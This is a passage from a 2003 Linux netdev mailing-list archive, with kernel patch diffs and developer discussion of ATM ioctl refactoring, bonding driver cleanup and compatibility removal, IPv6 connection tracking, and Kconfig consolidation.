(try_atm_clip_ops()) { - error = atm_clip_ops->clip_create(arg); - module_put(atm_clip_ops->owner); - } else - error = -ENOSYS; - goto done; - case ATMARPD_CTRL: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } -#if defined(CONFIG_ATM_CLIP_MODULE) - if (!atm_clip_ops) - request_module("clip"); -#endif - if (try_atm_clip_ops()) { - error = atm_clip_ops->atm_init_atmarp(vcc); - if (!error) - sock->state = SS_CONNECTED; - } else - error = -ENOSYS; - goto done; - case ATMARP_MKIP: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_clip_ops()) { - error = atm_clip_ops->clip_mkip(vcc, arg); - module_put(atm_clip_ops->owner); - } else - error = -ENOSYS; - goto done; - case ATMARP_SETENTRY: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_clip_ops()) { - error = atm_clip_ops->clip_setentry(vcc, arg); - module_put(atm_clip_ops->owner); - } else - error = -ENOSYS; - goto done; - case ATMARP_ENCAP: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_clip_ops()) { - error = atm_clip_ops->clip_encap(vcc, arg); - module_put(atm_clip_ops->owner); - } else - error = -ENOSYS; - goto done; -#endif #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) case ATMLEC_CTRL: if (!capable(CAP_NET_ADMIN)) { @@ -329,6 +235,8 @@ if (cmd == ATMMPC_CTRL || cmd == ATMMPC_DATA) request_module("mpoa"); + if (cmd == ATMARPD_CTRL) + request_module("clip"); error = -ENOIOCTLCMD; diff -Nru a/net/atm/protocols.h b/net/atm/protocols.h --- a/net/atm/protocols.h Thu Sep 25 09:24:51 2003 +++ b/net/atm/protocols.h Thu Sep 25 09:24:51 2003 @@ -11,6 +11,5 @@ int atm_init_aal0(struct atm_vcc *vcc); /* "raw" AAL0 */ int atm_init_aal34(struct atm_vcc *vcc);/* "raw" AAL3/4 transport */ int atm_init_aal5(struct atm_vcc *vcc); /* "raw" AAL5 transport */ -int atm_init_atmarp(struct atm_vcc *vcc);/* ATM ARP */ #endif From chas@cmf.nrl.navy.mil Thu Sep 25 09:45:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:45:31 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGjKFx004121 for ; Thu, 25 Sep 2003 09:45:20 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGjDkT007703; Thu, 25 Sep 2003 12:45:13 -0400 (EDT) Message-Id: <200309251645.h8PGjDkT007703@ginger.cmf.nrl.navy.mil> To: John Levon cc: davem@redhat.com, netdev@oss.sgi.com Reply-To: chas3@users.sourceforge.net Subject: Re: [PATCH][ATM]: [ioctl][1/8] move vcc_ioctl() to ioctl.c (from levon@movementarian.org) In-reply-to: Your message of "Thu, 25 Sep 2003 17:17:40 BST." <20030925161740.GA71011@compsoc.man.ac.uk> Date: Thu, 25 Sep 2003 12:45:15 -0400 From: chas williams X-Spam-Score: () hits=-0.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 236 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 258 Lines: 6 In message <20030925161740.GA71011@compsoc.man.ac.uk>,John Levon writes: >Chas, this appears to be the first set of patches I sent you, rather >than the revised edition ? this was the set available from your website. i assumed that was the latest version. From ctindel@calma.pair.com Thu Sep 25 09:47:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:47:28 -0700 (PDT) Received: from calma.pair.com (calma.pair.com [209.68.1.95]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGlKFx004565 for ; Thu, 25 Sep 2003 09:47:21 -0700 Received: (qmail 45747 invoked by uid 3059); 25 Sep 2003 16:47:19 -0000 Date: Thu, 25 Sep 2003 12:47:19 -0400 From: "Chad N. Tindel" To: Shmulik Hen Cc: bonding-devel@lists.sourceforge.net, bonding-announce@lists.sourceforge.net, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.kernel.org, Jeff Garzik , Jay Vosburgh , "Noam, Amir" , "Mendelson, Tsippy" , "Noam, Marom" Subject: Re: [Bonding-announce] [PATCH SET][bonding] cleanup Message-ID: <20030925164719.GA45241@calma.pair.com> Mail-Followup-To: Shmulik Hen , bonding-devel@lists.sourceforge.net, bonding-announce@lists.sourceforge.net, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.kernel.org, Jeff Garzik , Jay Vosburgh , "Noam, Amir" , "Mendelson, Tsippy" , "Noam, Marom" References: <200309251549.59177.shmulik.hen@intel.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200309251549.59177.shmulik.hen@intel.com> User-Agent: Mutt/1.4i X-archive-position: 237 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chad@tindel.net Precedence: bulk X-list: netdev Content-Length: 1272 Lines: 31 > patch set can be downloaded from: > http://osdn.dl.sourceforge.net/sourceforge/bonding/bonding-cleanup-2.4.23-pre5.tar.bz2 > > This will update the following files: > > Documentation/networking/bonding.txt > Documentation/networking/ifenslave.c > drivers/net/bonding/bond_3ad.c > drivers/net/bonding/bond_alb.c > drivers/net/bonding/bond_alb.h > drivers/net/bonding/bonding.h > drivers/net/bonding/bond_main.c > include/linux/if_bonding.h > > Description: > patch 1 - ifenslave lite - No more IP settings to slaves, unified > printing format, code re-org and broken to more functions. > patch 2 - convert all debug prints to use the dprintk macro and > consolidate format of all prints (e.g. "bonding: Error: > ..."). > patch 3 - death of typedef. eliminate bonding_t/slave_t types and > consolidate casting. > patch 4 - remove dead code, old compatibility stuff and redundant > checks. I'm a bit concerned about doing some of this stuff in the 2.4 series. That compatibility stuff is there for a reason, and was set to be removed in 2.6. Perhaps we shouldn't be doing stuff this drastic until 2.6 because of the risk of breaking users. Chad From shmulik.hen@intel.com Thu Sep 25 10:07:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 10:07:26 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PH7HFx006324 for ; Thu, 25 Sep 2003 10:07:18 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8PH4oO01858 for ; Thu, 25 Sep 2003 17:04:50 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8PH1n204082 for ; Thu, 25 Sep 2003 17:01:49 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092510070627346 ; Thu, 25 Sep 2003 10:07:09 -0700 Content-Type: text/plain; charset="iso-8859-1" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: "Jay Vosburgh" Subject: Re: [PATCH SET][bonding] cleanup Date: Thu, 25 Sep 2003 20:07:05 +0300 User-Agent: KMail/1.4.3 Cc: , , , , , "Jeff Garzik" , "Noam, Amir" , "Mendelson, Tsippy" , "Marom, Noam" References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309252007.05642.shmulik.hen@intel.com> X-archive-position: 238 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 1750 Lines: 42 On Thursday 25 September 2003 07:22 pm, Jay Vosburgh wrote: > >patch 7 - eliminate the multicast_mode module param. settings are > > now done only according to mode. > > This goes a bit beyond straight cleanup; could you explain > the rationale for this change? Also, unless I'm missing something, > the patch does not appear to update bonding.txt to reflect the fact > that the module parameter is no more. > > That question rings a bell :) I had this discussion with Deniel Laurent on 8/30 and it sounded like that wouldn't be a problem after all. [from that thread] > Do you know that this breaks upward compatibility ? [snip] > But if everyone is OK ... (I'd be since I currently only use > multicast_mode = 1 ;-). The rationale is that the propagation code already made this module param obsolete, so the next step was to remove it entirely since it had no effect anyway. According to the propagation RFC we sent on 2/6, multicast list, allmulti flag and promisc flag are all controlled the same way, and that is according to the USES_PRIMARY macro. When the bond uses the current slave as a primary interface, it, and only it, is supposed to have the bond's properties, while in aggregation modes all slaves have the same settings. There is no point in settings other slaves, that are not supposed to be receiving in the first place, to have loose filtering. Otherwise the stack will be flooded by duplicate packets. The situation is bad enough now since bonding has no solution for broadcast packets, but that's for another thread. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From shmulik.hen@intel.com Thu Sep 25 10:12:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 10:12:13 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PHC6Fx006884 for ; Thu, 25 Sep 2003 10:12:07 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8PH9dO05394 for ; Thu, 25 Sep 2003 17:09:39 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8PH6b207335 for ; Thu, 25 Sep 2003 17:06:38 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092510115417755 ; Thu, 25 Sep 2003 10:11:58 -0700 Content-Type: text/plain; charset="iso-8859-1" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: "Chad N. Tindel" Subject: Re: [Bonding-announce] [PATCH SET][bonding] cleanup Date: Thu, 25 Sep 2003 20:11:53 +0300 User-Agent: KMail/1.4.3 Cc: bonding-devel@lists.sourceforge.net, bonding-announce@lists.sourceforge.net, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.kernel.org, Jeff Garzik , Jay Vosburgh , "Noam, Amir" , "Mendelson, Tsippy" , "Noam, Marom" References: <200309251549.59177.shmulik.hen@intel.com> <20030925164719.GA45241@calma.pair.com> In-Reply-To: <20030925164719.GA45241@calma.pair.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309252011.53960.shmulik.hen@intel.com> X-archive-position: 239 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 941 Lines: 23 On Thursday 25 September 2003 07:47 pm, Chad N. Tindel wrote: > > patch 4 - remove dead code, old compatibility stuff and redundant > > checks. > > I'm a bit concerned about doing some of this stuff in the 2.4 > series. That compatibility stuff is there for a reason, and was > set to be removed in 2.6. Perhaps we shouldn't be doing stuff this > drastic until 2.6 because of the risk of breaking users. That's the word I got from Jay in response to the " [Kernel-janitors] old ioctl definitions in 2.5" thread. >Jay Vosburgh wrote: > I was going to add it on to the end of the clean up set, but > if you want to do it, go ahead. Nobody seems to have objected to > removing the _OLD stuff, which I view as a good thing. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From fubar@us.ibm.com Thu Sep 25 10:34:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 10:35:01 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PHYaFx012765 for ; Thu, 25 Sep 2003 10:34:43 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8PHXtPK504174; Thu, 25 Sep 2003 13:33:55 -0400 Received: from death.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8PHXquX228196; Thu, 25 Sep 2003 11:33:54 -0600 Received: from us.ibm.com (fubar@localhost) by death.ibm.com (8.12.5/8.12.5/Submit) with ESMTP id h8PHXWpV013559; Thu, 25 Sep 2003 10:33:34 -0700 Message-Id: <200309251733.h8PHXWpV013559@death.ibm.com> X-Authentication-Warning: death.ibm.com: fubar owned process doing -bs To: shmulik.hen@intel.com cc: "Chad N. Tindel" , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.kernel.org, Jeff Garzik , "Noam, Amir" , "Mendelson, Tsippy" , "Noam, Marom" Subject: Re: [Bonding-announce] [PATCH SET][bonding] cleanup In-Reply-To: Message from Shmulik Hen of "Thu, 25 Sep 2003 20:11:53 +0300." <200309252011.53960.shmulik.hen@intel.com> Date: Thu, 25 Sep 2003 10:33:31 -0700 From: Jay Vosburgh X-archive-position: 240 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2006 Lines: 45 [removed bonding-announce from cc:] >On Thursday 25 September 2003 07:47 pm, Chad N. Tindel wrote: >> > patch 4 - remove dead code, old compatibility stuff and redundant >> > checks. >> >> I'm a bit concerned about doing some of this stuff in the 2.4 >> series. That compatibility stuff is there for a reason, and was >> set to be removed in 2.6. Perhaps we shouldn't be doing stuff this >> drastic until 2.6 because of the risk of breaking users. > >That's the word I got from Jay in response to the " [Kernel-janitors] >old ioctl definitions in 2.5" thread. > >>Jay Vosburgh wrote: >> I was going to add it on to the end of the clean up set, but >> if you want to do it, go ahead. Nobody seems to have objected to >> removing the _OLD stuff, which I view as a good thing. My thinking here is that any ifenslave old enough (two years or more) to still be using the OLD ioctl values is unlikely to work with the current kernel driver, and if somebody did try it, it's better to have the call fail outright than perform weird and mysterious rituals in kernel memory. I have trouble envisioning an scenario where a user would be using the latest 2.4.23 kernel, but an ifenslave from, what, 2.2.15? 2.4.5? or so. Separately, recent ifenslaves have compatibility code within them to cover the great "ifenslave calling sequence change" from April or so. As much as I love the sleek new slimmed down ifenslave, I'm not absolutely sure we can nuke that compatibility stuff within ifenslave. I really, really wanna, but I'm not sure if it will cause problems for end users. This is the upgrade scenario that prompted the creation of the whole "ABI version" and compat stuff in the first place; if we don't have to worry about that, then the simpler ifenslave can be used, and I think the ethtool ABI version hack can go away (since we wouldn't need an ABI version if there's only one). Comments? -J --- -Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com From shmulik.hen@intel.com Thu Sep 25 10:43:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 10:44:03 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PHhqFx013427 for ; Thu, 25 Sep 2003 10:43:53 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8PHfPO27359 for ; Thu, 25 Sep 2003 17:41:25 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8PHcO228157 for ; Thu, 25 Sep 2003 17:38:24 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092510434116359 ; Thu, 25 Sep 2003 10:43:44 -0700 Content-Type: text/plain; charset="iso-8859-1" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: Jay Vosburgh Subject: Re: [Bonding-announce] [PATCH SET][bonding] cleanup Date: Thu, 25 Sep 2003 20:43:40 +0300 User-Agent: KMail/1.4.3 Cc: "Chad N. Tindel" , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.kernel.org, Jeff Garzik , "Noam, Amir" , "Mendelson, Tsippy" , "Noam, Marom" References: <200309251733.h8PHXWpV013559@death.ibm.com> In-Reply-To: <200309251733.h8PHXWpV013559@death.ibm.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309252043.40608.shmulik.hen@intel.com> X-archive-position: 241 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 1295 Lines: 29 On Thursday 25 September 2003 08:33 pm, Jay Vosburgh wrote: > > Separately, recent ifenslaves have compatibility code within > them to cover the great "ifenslave calling sequence change" from > April or so. As much as I love the sleek new slimmed down > ifenslave, I'm not absolutely sure we can nuke that compatibility > stuff within ifenslave. I really, really wanna, but I'm not sure > if it will cause problems for end users. This is the upgrade > scenario that prompted the creation of the whole "ABI version" and > compat stuff in the first place; if we don't have to worry about > that, then the simpler ifenslave can be used, and I think the > ethtool ABI version hack can go away (since we wouldn't need an ABI > version if there's only one). > > Comments? > I think I better leave this for Amir to answer. He's our ABI expert and this needs carefull consideration, especially now that he's working on enhancing ifenslave's capabilities for the hot operation stuff. However, he won't be able to do that before Monday since we're going out on a long weekend - it's holiday season over here. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From kisza@securityaudit.hu Thu Sep 25 11:49:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 11:49:18 -0700 (PDT) Received: from server.obudanet.hu (server.obudanet.hu [195.70.46.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PInAFx016768 for ; Thu, 25 Sep 2003 11:49:11 -0700 Received: from [192.168.0.2] (unknown [172.16.2.138]) by server.obudanet.hu (Postfix) with ESMTP id 1C28822C0E2; Thu, 25 Sep 2003 20:48:56 +0200 (CEST) Subject: Re: [Patch]: IPv6 Connection Tracking From: Andras Kis-Szabo To: Yasuyuki Kozakai Cc: Netfilter Devel , Netdev , usagi-core@linux-ipv6.org In-Reply-To: <200309250521.OAA29293@toshiba.co.jp> References: <200309250521.OAA29293@toshiba.co.jp> Content-Type: text/plain Organization: SecurityAudit Message-Id: <1064515680.995.41.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 25 Sep 2003 20:48:01 +0200 Content-Transfer-Encoding: 7bit X-archive-position: 242 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kisza@securityaudit.hu Precedence: bulk X-list: netdev Content-Length: 1850 Lines: 42 Dear Yasuyuki, I have some questions against the code. The first question is about the extension headers. I have used an own 'external header skipper' routine which was very close the the kernel's one. So I would like to update the netfilter code to use the kernel's function. For this, we have to export the ipv6_skip_exthdr() function from net/ipv6/exthdrs.c . I have checked your code, too. It looks very close to the kernel's code. As I have noticed, the differences: - handling of the fragments your code checks that the member of the extension are in the skb or not since the common part checks only the basic extension header size. After it your code linearizes the skb to cover the extension header. So, the kernel does not check the size and does not linearize. After these fixes the 2 codes will be similar. Would not be better to export the kernel's function and use the ipv6_skip_exthdr() in the netfilter codes? My second commet is near this area. I have planned that an offset value which points after the last extension header and a variable which contain the last nexthdr value would be very helpful for the future - but I was too lazy to do this work. With the connection tracking this function (ipv6_skip_exthdr) will be called several time on the same packet (in the main kernel, at every LOG, at every match, at every ct, ...) With USAGI we could - probably - find the space for this 2 variable. Do you have any recommendation? Your FTP code uses EPSV and EPRT from rfc2428. What's about the FOOBAR RFC (1639)? OK, it's a joke :) Could we open an IPv4 data connection next to the IPv6 controll connection? Regards, kisza -- Andras Kis-Szabo Security Development, Design and Audit -------------------------/ Zorp, NetFilter and IPv6 kisza@SecurityAudit.hu /-------------------------------------------> From pekkas@netcore.fi Thu Sep 25 11:58:17 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 11:58:22 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PIwFFx017789 for ; Thu, 25 Sep 2003 11:58:16 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8PIvmT11399; Thu, 25 Sep 2003 21:57:48 +0300 Date: Thu, 25 Sep 2003 21:57:47 +0300 (EEST) From: Pekka Savola To: Andras Kis-Szabo cc: Yasuyuki Kozakai , Netfilter Devel , Netdev , Subject: Re: [Patch]: IPv6 Connection Tracking In-Reply-To: <1064515680.995.41.camel@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 243 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 1475 Lines: 39 First, a meta-comment: What I fear is that in the end, nothing gets done because having the goal set to perfection. If there is no energy to drive through the L3-independent connecting tracking, the end result is that the user does not have this feature (remember ip6tables REJECT target? That must have been sitting in netfilter for some 2+ years, and not having been integrated in the mainline kernel and the users still do not have the feature!). So, my personal take is: - if a L3-independent conn tracking can be done *quickly*, fine, - if not, just merge the current one, start working on L3 independent conn tracking, and add it when available. .. but I'm not the one who's answering the support emails, so in all fairness, I should be silent now.. Two questions/comments inline: On 25 Sep 2003, Andras Kis-Szabo wrote: [...] > Your FTP code uses EPSV and EPRT from rfc2428. What's about the FOOBAR > RFC (1639)? OK, it's a joke :) > Could we open an IPv4 data connection next to the IPv6 controll > connection? What about LPRT and LPSV? Btw, I would appreciate any comments regarding my draft documenting some IPv6-related Firewalling issues (some certainly come up when implementing): http://www.ietf.org/internet-drafts/draft-savola-v6ops-firewalling-01.txt -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From pekkas@netcore.fi Thu Sep 25 12:14:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 12:14:44 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PJEbFx018826 for ; Thu, 25 Sep 2003 12:14:38 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8PJESJ11837; Thu, 25 Sep 2003 22:14:28 +0300 Date: Thu, 25 Sep 2003 22:14:28 +0300 (EEST) From: Pekka Savola To: Andras Kis-Szabo cc: Netfilter Devel , Netdev , Subject: Re: [Patch]: IPv6 Connection Tracking In-Reply-To: <1064516837.995.49.camel@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 244 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 592 Lines: 18 On 25 Sep 2003, Andras Kis-Szabo wrote: [...] > > > Your FTP code uses EPSV and EPRT from rfc2428. What's about the FOOBAR > > > RFC (1639)? OK, it's a joke :) > > > Could we open an IPv4 data connection next to the IPv6 controll > > > connection? > > What about LPRT and LPSV? > > This is the rfc1639/foobar :) Too bad I've seen it implemented and used (AFAIR) ... so it definitely isn't a joke... -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From chas@cmf.nrl.navy.mil Thu Sep 25 12:28:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 12:28:52 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PJSgFx022416 for ; Thu, 25 Sep 2003 12:28:43 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PJSZkT011995; Thu, 25 Sep 2003 15:28:35 -0400 (EDT) Message-Id: <200309251928.h8PJSZkT011995@ginger.cmf.nrl.navy.mil> To: John Levon cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [ioctl][1/8] move vcc_ioctl() to ioctl.c (from levon@movementarian.org) In-Reply-To: Message from John Levon of "Thu, 25 Sep 2003 18:03:42 BST." <20030925170342.GA74937@compsoc.man.ac.uk> Date: Thu, 25 Sep 2003 15:28:37 -0400 From: chas williams X-Spam-Score: () hits=-0.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 245 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 532 Lines: 11 In message <20030925170342.GA74937@compsoc.man.ac.uk>,John Levon writes: >atm-ioctl6.diff isn't applying properly now for some reason though. it applies to a bk pull from this morning w/o any trouble afaict. >I guess it's fine to apply the old patchset anyway, it should be pretty >easy for Mitchell to add a diff before his stuff that represents the >changes between my two sets of patches. i redid your patch set a bit to just get from point a to b w/o the phantom ioctl.h and with the ATM_VF_IS_CLIP change discussed earlier. From hch@lst.de Thu Sep 25 12:29:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 12:29:27 -0700 (PDT) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PJTGFx022535 for ; Thu, 25 Sep 2003 12:29:17 -0700 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id h8PBvIFc032671 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Sep 2003 13:57:18 +0200 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id h8PBvH8h032669 for netdev@oss.sgi.com; Thu, 25 Sep 2003 13:57:17 +0200 Date: Thu, 25 Sep 2003 13:57:17 +0200 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH] net Kconfig consolidation Message-ID: <20030925115717.GA32636@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -3 () PATCH_UNIFIED_DIFF,USER_AGENT_MUTT X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) X-archive-position: 246 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev Content-Length: 7608 Lines: 378 include net/ax25/Kconfig, net/irda/Kconfig and net/bluetooth/Kconfig from net/Kconfig like all the other Kconfig files under net/. This makes the per-arch Kconfig files quite a bit smaller and also makes sure the option are available on all arches. --- 1.28/arch/alpha/Kconfig Tue Sep 9 23:16:03 2003 +++ edited/arch/alpha/Kconfig Tue Sep 23 22:08:47 2003 @@ -654,8 +654,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/cdrom/Kconfig" @@ -674,8 +672,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" source "arch/alpha/oprofile/Kconfig" ===== arch/arm/Kconfig 1.35 vs edited ===== --- 1.35/arch/arm/Kconfig Wed Sep 17 00:11:53 2003 +++ edited/arch/arm/Kconfig Tue Sep 23 22:05:51 2003 @@ -629,11 +629,6 @@ source "net/Kconfig" -# source net/ax25/Config.in -source "net/irda/Kconfig" - -source "net/ax25/Kconfig" - source "drivers/ide/Kconfig" source "drivers/scsi/Kconfig" --- 1.8/arch/arm26/Kconfig Wed Aug 27 02:27:45 2003 +++ edited/arch/arm26/Kconfig Tue Sep 23 22:06:00 2003 @@ -203,8 +203,6 @@ source "net/Kconfig" -source "net/irda/Kconfig" 